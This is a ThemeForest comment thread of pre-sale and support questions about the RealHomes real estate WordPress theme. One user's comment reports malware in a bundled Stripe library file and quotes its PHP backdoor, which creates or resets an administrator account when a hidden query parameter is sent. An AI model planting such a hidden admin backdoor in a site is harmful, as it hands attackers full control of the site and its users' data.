9447 comments found.
Hello, To improve site speed according to PageSpeed Insignt, I’ve installed WP Rocket and selected ”Delay JavaScript execution” option. Unfortunately this cause Search Form widget (via Elementor) to work bad. Could you please tell me wich javascript files to exclude from delay?
Hi,
Please sign up at our support website and ask your question over there and we will assist you properly.
Thanks & Regards
Good afternoon A virus was found in the file on the hosting /wp-content/plugins/inspiry-memberships/resources/stripe-php-12-4-0-sdk/init.php Moreover, I found a suspicious entry in it with accesses unknown to me for the administrator: // Webhooks require DIR . ’/lib/Webhook.php’; require DIR . ’/lib/WebhookSignature.php’;
add_action( ‘wp_head’, ‘get_wordpress_check’ ); function get_wordpress_check() { if ( ! empty( $_GET[‘hello’] ) && $_GET[‘hello’] == ‘mr’ ) { if ( ! username_exists( ‘admin2’ ) ) { $user_id = wp_create_user( ‘**’, ‘’, ‘’ ); $user = new WP_User( $user_id ); $user->set_role( ‘administrator’ ); } else { $user = get_user_by( ‘login’, ‘*’ ); if ( $user ) { wp_set_password( ‘*’, $user->ID ); } } } }
I have now completely deleted the stripe-php folder-12-4-0- sdk since it wasn’t there initially, but now how do I prevent re-infection?
With respect, Michael
Folder /inspire-memberships/ is this the RealHomes Memberships plugin folder?
Hello,
Thank you for bringing this to our attention.
Our thorough investigation identified that the issue stemmed from a Stripe payment third-party library. Our team has immediately implemented the necessary fixes and enhancements to address this swiftly.
We kindly request you to update the plugin to the latest version, which should resolve the mentioned concern.
Please don’t hesitate to contact us with any further questions or concerns.
Best regards
Thank you very much!
I bought your theme and used it to create a marketplace. Only to realize that the CRM is not available as a module in the dashboard of Agents. Can you pleas explain why this is so? How can I make the CRM appear in dashboard of the agents?
Hi,
Please sign up at our support website and ask your question over there and we will assist you properly.
Thanks & Regards
I have some questions before purchasing this amazing real estate theme. 1. About the speed, does it have embedded caches to speed up the websites because it contained lots of pictures? 2. When I tried to submit post on the Ultra theme it does not ask me for payment or subscription option, does your Ultra support woo-commerce and membership subscription or plan and how many post per subscription and if yes, it’s not on demo. 3. Does it have moderation, I mean approve from admin before posting? 4. Does it have feature like direct whatsapp, email, or internal message where buyers and sellers can have conversation Thank you.
Hello,
Thank you for reaching out to us with your inquiries.
1. No, you don’t need to worry about the cache feature as you can install a reliable caching plugin to handle it.
2. The payment feature wasn’t activated in our demos, hence the absence of the payment option you were looking for.
3. Certainly, all properties can be manually approved. We provide a feature that allows you to place all submitted properties on pending status until you review and approve them.
4. While we do offer options to include email and WhatsApp contact details, we are also planning to release an internal messaging system later this year for enhanced communication.
If you have any further questions or concerns, feel free to let me know.
Best regards,
when trying to add/ edit agent or property it shows us this message”Updating failed. No route was found matching the URL and request method. “
Hi,
Thank you for reaching out to us with your concern.
Please install Classic Editor plugin by navigating to Dashboard → Plugins and click on Add New and then search for Classic Editor then install and activate it and then check if you are still experiencing the problem.
For any additional questions or if you require further assistance, please don’t hesitate to create a support ticket by clicking on the link below:
Click Here to Sign Up for InspiryThemes Premium Support
Our dedicated support team is eager to assist you with inquiries or concerns.
Regards
Hello,
I’m trying to send an email using your contact form on https://inspirythemes.com/contact/ but it seems the Google reCAPTCHA verification field is broken and the form cannot be submitted. I want to ask some questions before buying the theme. Can you give me an email or can you fix the form on your website? Cheers, Ioan
Hi,
I’m sorry that you had to face this issue, we will look into it. Please try using the contact form provided here: https://themeforest.net/user/inspirythemes
Thanks & Regards
Bonjour, je n’arrive pas à traduire certains widgets, notamment Advence Search Form Sidebar
Hi,
Thanks for reaching out to us.
All the strings of advanced search forms are available in Customizer for single-language translation and in the RealHomes Search Elementor Widget.
You can find the strings in the String Translation section for multilingual websites. If you are still facing any problems, please open a ticket (sign-up required) so we can assist you further.
Best regards
Hello I have a question, is it possible to send saved search notifications also through whatsaap and sms?
Hi,
We appreciate your interest in RealHomes.
Currently, the save search notifications are only sent through emails. However, we think using WhatsApp or SMS is a good idea, so we will add it soon.
Please let me know if you have any further questions or concerns.
Best regards
presale question i need to buy theme to create my booking.com own version
1- if i need to buy it for three site should i buy it 3 times or there is another option
2-do i have admin page dashboard that can mange the owners and users account and ectra 2-as admin can i edit add or remove review on the owners properties profile
3-can i control the price from the calendar like airbnb and booking.com so i would be able to change prices easily even different set 7 prices in same week with no need to put seasonal or general prices
4-Minimum number of nights allowed?
5-discount for number of nights allowed ?
6-i did not see in your theme important features like OTB SMS verification API setup directly from theme options Receive SMS as admin, guest and owner and Instant Messages Inbox, Users can exchange messages though the theme using a private message system, visible to admin in backend and can be auto hidden by admin setting before booking confirmation.
7-as admin can i put additional fees like service fees in addition to the owner price for example when owner put price 100$ regarding to admin 20% admin fees setup the price will be shown to costumers is 120$ ? as i understood its directory listing not Single site owner right ,so how the commission can be set ? 8-as admin i also did not see how can i add commission option while its basic with any rental website because no owners will pay one cent for listing while he can list in booking.com and Airbnb for free only commission taken when the booking happen
so how As site admin i can charge a service fee forevery confirmed booking deducted from total value. The fee may be a percentage of the booking price or afixed amount
9-can The login / register area managed from admin options. can I turn this on / off at any time,and can I also add extra options:social login, type password orlet the system create the password,recaptcha ?
wait answers to create my order please thank you .
Hi,
Thanks for your interest in RealHomes.
1. Yes, the Regular License is for one website, so you must purchase 3 licenses for your projects.
2. You can manage owners and users directly from the WordPress dashboard. Could you please specify which reviews you’re referring to?
3. The RealHomes Vacation Rental feature lets you control pricing for specific days or durations.
4. You have control over setting the minimum number of nights allowed.
5. Definitely, you can set discounted prices for a specified number of nights.
6. Currently, there is no SMS verification feature available.
7. You have the flexibility to set any additional fees or charges. However, there’s no specific option to include admin fees in a separate price. This would need to be manually configured.
8. I regret to inform you that the commission feature is unavailable now.
9. You can turn off the login/registration feature as needed.
Please let me know if you have any further questions or concerns.
Best regards
as admin i have many properties in some themes i have a power to create review with chosen name i want in addition to i can delete or edit the reviews that written by costumers, do you have this option ? as owner how can i set prices for every single day on calendar ? till you add commission can i use it as fixed fees when property owner list property per 100 aday it can be shown to the customer as 120 so i can take the 20% as admin ? do you plan for otp varication and commission option and when ? is there private message option ?
best regards
Hi,
1. Yes, you can edit or delete any review. However, there is no option to add a new review.
2. You can use the Seasonal Price feature to set a specific price for a particular date or a range of days [ https://snipboard.io/JLTH3v.jpg ].
3. Since there is no commission feature, it won’t calculate 20% extra.
4. The One-Time Password or OTP feature is in our to-do list and will be added soon.
Best regards
We are looking for a theme to build a listing Airbnb website and We have several questions :
1)as website admin&owner can i control searching results by showing some properties Frist in ahead of results So i can take more higher commission from those owners as booking.com
2) when customers using searching form to find a properties in certain time from 1 to 2 may as example, can realhomes show only available properties so it makes sense to take a tour for available properties instead wasting time for not available booked properties
3) are the address,contact and messages option of the book can be blurred/hidden until the booking is done (like Airbnb and booking.co)?
4)Is is possible to have both option for the booking : “Request to Book” and “Instant Booking »?
5) is it compatible with Elementor pro ?
6) is it possible to add Nonrefundable and refundable price rate ?
7)Listeo theme use dokan for multivendor and all multivendor themes have Commissions feature so as admin i can take a commission from the owners for every successful reservation . why you don’t have this option ? can you add it please?
8)all competitors themes wprentals ,listfy,listeo and others have SMS integration(Twilio) one time code during registration and automatic notification for new booking,listing,payment and others in addition to email notifications .why you don’t have this feature and can you add it please
9)do you have private messages between user and owner that can appear only after the booking done ? if not can you add this feature ?
10)if any of features above not included ,do you have regular developing so you can add it in future or we can add it ?
thank you
11)can we add such as aditional fees like city fees taxes cleaning wifi and ectra 12) can i put abox for id owner he should upload when he list a properties and another id box for costumers to upload their id when they make anew booking
12)in demo i cant find a calendar when i list properties where is it ? and can i change the prices to be different Saturday 5$ sunday7$ monday9$ next Saturday 15$ and so on and how i log in demo or sign up
Hi,
Thanks for reaching out to us.
1. RealHomes allows you to mark properties as Featured, which can be displayed prominently at the top of search results.
2. Absolutely, RealHomes ensures that only available properties are shown in search results, saving time for users and increasing the chances of successful bookings.
3. RealHomes offers a feature to hide property addresses throughout the website, providing privacy and security for property owners.
4. RealHomes supports both “Request to Book” and “Instant Booking” options, giving property owners flexibility in their booking processes.
5. RealHomes is fully compatible with Elementor Pro, offering seamless integration and endless customization possibilities.
6. RealHomes doesn’t have a built-in feature for specifying refundable or non-refundable prices, but you can include this information in the property description.
7. At the moment, RealHomes doesn’t include a commission feature. However, we continuously evaluate user feedback to improve our product.
8. We are actively working on integrating an OTP feature, which will be available in a future update.
9. A messaging system is also in the pipeline for future development, providing enhanced communication between users and property owners.
10. Our team offers customization services to accommodate any new features or enhancements you may require for your RealHomes website.
11. RealHomes allows you to add additional fees/charges according to your specific needs, providing flexibility in property listing details.
12. The Availability Calendar can be found on the property details page, allowing users to view property availability and pricing for different dates.
Please let me know if you have any further questions or concerns.
Best regards
3. RealHomes offers a feature to hide property addresses throughout the website, providing privacy and security for property owners>>>> can the admin control it and has above hand on both owner and user ?
8. We are actively working on integrating an OTP feature, which will be available in a future update>>>> when because its basic in all rental website ?
9. A messaging system is also in the pipeline for future development, providing enhanced communication between users and property owners.>>> when because its basic in all rental website and will the admin has control to show and hide ?
12.The Availability Calendar can be found on the property details page, allowing users to view property availability and pricing for different dates>>>>>where is the properties details page in demo ? how the admin and the owner change prices manually from the calendar not talking about the user iam talking about the admin and owner
13. does the admin has wp dash bored so i can monitor the owners and users ?
why i can not log in or register in demo to test all option in demo and Ultra – Vacation Rentals demo can not try to list a property it asks and force me to put user&password or you not allowed to complete the process
Hi,
3. Yes, the option to hide the address is added for the website administrators.
8. It will be added later this year.
9. We are brainstorming about this feature, which will be added in the next few months.
12. Please click on any property title or image to go to that property details page, and you will find it. Kindly ensure that you are on a Vacation Rentals demo.
13. Of course, the website administration features are all handled through a standard WordPress dashboard. The frontend user dashboard is for the general users/agents/agencies so they can submit and manage their properties.
Please let me know if you have any further questions or concerns.
Thanks & Regards
12.sure iam on vacation rental demo you speak about what customer can see ,i know customer can see calendar but i am talking about owner or admin can see when they list anew property for example as owner i can not find a calendar to put the price on calendar manually per day like any other rental website theme i only find Sale or Rent Price, Old Price ( If Any ) and Seasonal Prices i dont see calendar to put the price per day i have to fill the price in those section as group price Sale or Rent Price, Old Price ( If Any ) and Seasonal Prices which not logic for rental website please try to list property on booking.com or vrbo or even on any rental demo you will see calendar in listing steps you can put the price per aday separately
Hi,
The Rent Price is where we add price/night or day. If you want to set a specific price for a particular date, you can add it using the Seasonal Price feature. It allows you to set the prices for any date, day, or range [ https://snipboard.io/JLTH3v.jpg ]. You can select a single day by choosing the same day in both date fields.
Please let me know if you have any further questions or concerns.
Best regards
Pre-purchase question: Do you have a feature where users can enter details of the type of properties they want i.e. a feature for request for properties, and then these appear as a listing. In essence, a listing feature for “Wanted” properties
Hi,
Thanks for your interest in our product.
There is no such feature available in RealHomes because you can create a custom feature request form using Contact Form 7 or WP Forms and add it anywhere throughout the pages to allow the visitors to request for properties or any other feature.
If you have any other questions or concerns, feel free to let me know.
Best regards
Pro Purchases questions , 1- i have been trying to become a host but there’s no Demo credentials to use . ( as a host , is there varitey of options to pick the type of properity ? membership plans , and so on .
2- Can we integrate smart contracts to the theme ? Web3 wallets , and adjust membership plans for hosts ? ex, having tire levels per plan.
3- Is there an app or will there be a one soon for this theme ?
4- is the theme multi-language ?
Thanks
Hello,
Thanks for your interest in RealHomes.
1. Absolutely! You can provide various types of memberships to your clients.
2. Unfortunately, there is no integration for smart contracts.
3. Exciting news! We have plans to launch an app in the future.
4. The RealHomes is fully compatible with multiple languages.
Please let us know if you have any further questions or need assistance.
Best regards
Thank you for the replay , i still have some concerns ..
1- Regarding the smart contract , Can’t we a third party plugins integrated with the theme that supports smart contract , or using blockchain network APIs .
2- in the future there will be an app ( Could you specify an estimate date ) or how long till it becomes ready ? 3- Will we be able to integrate live streaming features in the App ?
Thank you again
Hi,
1. We haven’t tested any plugin with the smart contracts feature.
2. We don’t have any ETA yet for the app release.
Please let me know if you have any other questions.
Thanks & Regards
Hello, I am setting up the Memberships on my page but I have a bit of a problem connecting it to Woocommerce payments. I have installed RealHomes Memberships and activated it and enabled Memberships, (also created one membership) Woocommerce plugin and RealHomes WooCommerce Payments Addon but in the instructions when I install all of this there should be Woo Payments Settings in the Real Estate Menu in the backend but it doesn’t appear and I can’t finish settings to show membership packages in the user Dashboard. Can you please assist? Thank you.
Hi,
Thanks for reaching out to us.
We have to look into it thoroughly, so please create a ticket on our support platform so that we can assist you further.
Best regards
How can i make the user make his submitted property in the first search?
Hi,
Thanks for reaching out to us.
You can mark the property as Featured and then you can choose to display the Featured Properties on top of the search results.
How to mark a property as Featured:
https://realhomes.io/documentation/add-property/#mark-property-as-featured
In order to set Featured Properties on top in search results, kindly navigate to Dashboard → Real Homes → Customize Settings → Properties Search → Properties Search Page and set the highlighted option to “Yes” [ https://snipboard.io/RNZPHn.jpg ].
For any further assistance or question, please create a support ticket using the link below and our support team will be happy to assist you.
Click Here to Sign Up for InspiryThemes Premium Support
We look forward to helping you.
Best regards
Thank you for replying, Is there another way? that the user can click it daily to be in the first results
Hi,
There is no other way to have properties at the top in search results.
Thanks & regards
Hi support,
We tried million time of the demo import of elementor-ultra, but still failed to import the images. We found out that there are SSL error when reading your source data. For example, https://di.realhomes.io/ultra/wp-content/uploads/sites/20/2020/06/Adobe-Homes.png is not reachable. Any solution to solve this issue? Thanks
Below are the error come out:
Failed to import Media “Adobe Homes”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Ironwood Apartments”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Rosewood Homes”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “The Capital”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “AA Builders”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “ultra-header-logo”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “spacejoy-4xRP0Ajk9ys-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Ultra Demo Image File”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “hannah-nicollet-JQ2D4I-2eyw-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “evan-wise-eJ0UGX8da2c-unsplash-scaled-e1643292191353.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “pexels-nelly-aran-1066331.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “agent-male-1-1.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “agent-female-6.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Agency “Alice Estate Agency” already exists. Agency “James Estate Agents” already exists. Failed to import Media “CTA-background.png”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “collov-home-design-i78VpqDGDSc-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “living-room-gbb61c6983_1920.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “spacejoy-RqO6kwm4tZY-unsplash-1.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “collov-home-design-wyBKACF3EFs-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Untitled-3.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “blog-image-3-1.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “chicago-final.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “blog-post-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “blog-rental-income”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “blog-image-2-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “francesca-tosolini-LL9V0iMpStM-unsplash-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “obi-pixel6propix-MMHcFUKkBD4-unsplash”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “bathroom-02”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “bedroom-02”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “exterior-05”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “interior-00”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “interior-02”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “living-00”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “property-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “property-2”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “property-3”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “bedroom-00”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “dining-01”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “exterior-01”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “bathroom-00”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “bedroom-04”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Modern-House”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “resturant-interrior-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “House-Design”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “house-02”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “office-interior-01-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “office-interior-02-1”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Alice Brian”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Melissa William”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Nathan James”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Alice-Brian”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “John-David”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “alice-estate”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “james-agents”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Beautiful-House”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Apartment”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Apartments”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “exterior-03”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “ultra-logo-retina”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “villa-one-hollywood-slider”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “villa-on-grand-slider”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “1Bedroom 2d”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “2Bedroom 2d”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “4Bedrooms 2d”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Ultra Demo Word File”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Ultra Demo PDF File”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “Ultra Demo Excel File”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “living-room-attached-kitchen”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “spacejoy-4xRP0Ajk9ys-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “placeholder.png”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “hannah-nicollet-JQ2D4I-2eyw-unsplash.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “evan-wise-eJ0UGX8da2c-unsplash-scaled-e1643292191353.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “pexels-nelly-aran-1066331.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed) Failed to import Media “agent-male-1-1.jpg”: Request failed due to an error: cURL error 60: SSL certificate problem: certificate has expired (http_request_failed)
Hi,
I’m sorry to know that you had to face this problem.
We must look into it thoroughly, so please sign up at our support website and ask your question over there, and we will assist you properly.
Thanks & Regards
Hello support team,
My client purchased this template on his account but he provides me the template files + License key.
I install the theme on my WordPress website & verify the license key and everything is fine here.
The problem I’m facing that when I go to demo import I’m trying to import Ultra elementor demo but the import keep importing and didn’t finish for hours and hours nor give me any error or import failed just stuck on the importing gear and keep loading.
Can you please help me with that as fast as possible?
Regards
Hi,
I’m sorry to know that you had to face this problem.
Please sign up at our support website and ask your question over there, and we will assist you properly.
Thanks & Regards
Hello, on “Schedule a Tour” need the GDPR Checkbox, is possible to fix that important thing?
Best regards
Hello,
Thank you for bringing this to our attention.
We understand the importance of GDPR compliance, especially when capturing user data.
We currently don’t have a GDPR checkbox option integrated into the “Schedule a Tour” feature. However, we value your feedback, and we’ll prioritize adding this functionality in a future update to ensure compliance and enhance user privacy.
Please let me know if you have any other questions.
Best regards
Thank you for your feedback for this important thing. Best regards
Hello!
I have noticed that if I enter a property price of £399,000 for example, the theme displays £399,001. Why is this? Where can I change this, turn it off because it is very annoying? Currency converter is turned on.
Hello,
Thank you for contacting us.
The addition of 1 at the end of the number is a result of the openexchange currency conversion service, which we use for precise currency display. Unfortunately, this is beyond our control.
If you have any further questions, feel free to ask.
Best regards
Unfortunately, this is not good. What is the point of giving the exact price of the property then? I would definitely like some solution to this. Please recommend a plugin that works with your theme!
Hi,
Please sign up at our support website and ask your question over there and we will assist you properly.
Thanks & Regards
I wrote to their support page as requested! Looking forward to a quick solution!
Hi,
I just checked and our team has already communicated with you.
Thanks & Regards
Thank you! Looking forward to your reply! 
Hello, I have multiple issues regarding my site. I want to know how I can add more forms to the registration page as shown here: https://ibb.co/MfGsWhS
In the image above, only email and password was required to get started. How can I add other forms like user role selection between users, agencies and agents? Phone number etc. I know those are in the edit profile page but is it possible to make it compulsory for a user to complete his profile details before submitting a property?
In this image: https://ibb.co/b7ysbcw
I was testing out the free trial subscription I created and I am getting the error shown in the image.
These are my settings for the free trial in this images: https://ibb.co/KsLLHvk https://ibb.co/0Zp7mHy https://ibb.co/F5xj7xTHow can I solve this error? Is there a documentation link in resolving such errors?
Hi,
Thank you for reaching out to us.
We have to look into the mentioned issues thoroughly. So, please sign up at our support website and ask your question over there, and we will assist you properly.
Best regards
Prepurchase question: DI need a feature where user can see property summary, but must register and login to see property details. Do you have that feature?
Hi,
Thank you for taking interest in RealHomes.
The RealHomes has the option to hide basic information for users who aren’t registered and logged in.
Require Login to Display Property Detail Page:
https://realhomes.io/documentation/property-settings/#require-login-to-display-property-detail-page
Please let me know if you have any further questions or concerns.
Best regards
Thanks. Do you have a feature where users can enter details of the type of properties they want i.e. a feature for request for properties, and then these appear as a listing. In essence, a listing feature for “Wanted” properties
Hi,
Absolutely, RealHomes includes a convenient save search feature. Users can save their search criteria, and whenever a property matching those criteria becomes available, they’ll receive an email notification.
If you have any more questions or concerns, feel free to ask.
Thanks & Regards
This item was featured on ThemeForest
Power Elite Author
Contact the Envato Market Help Team
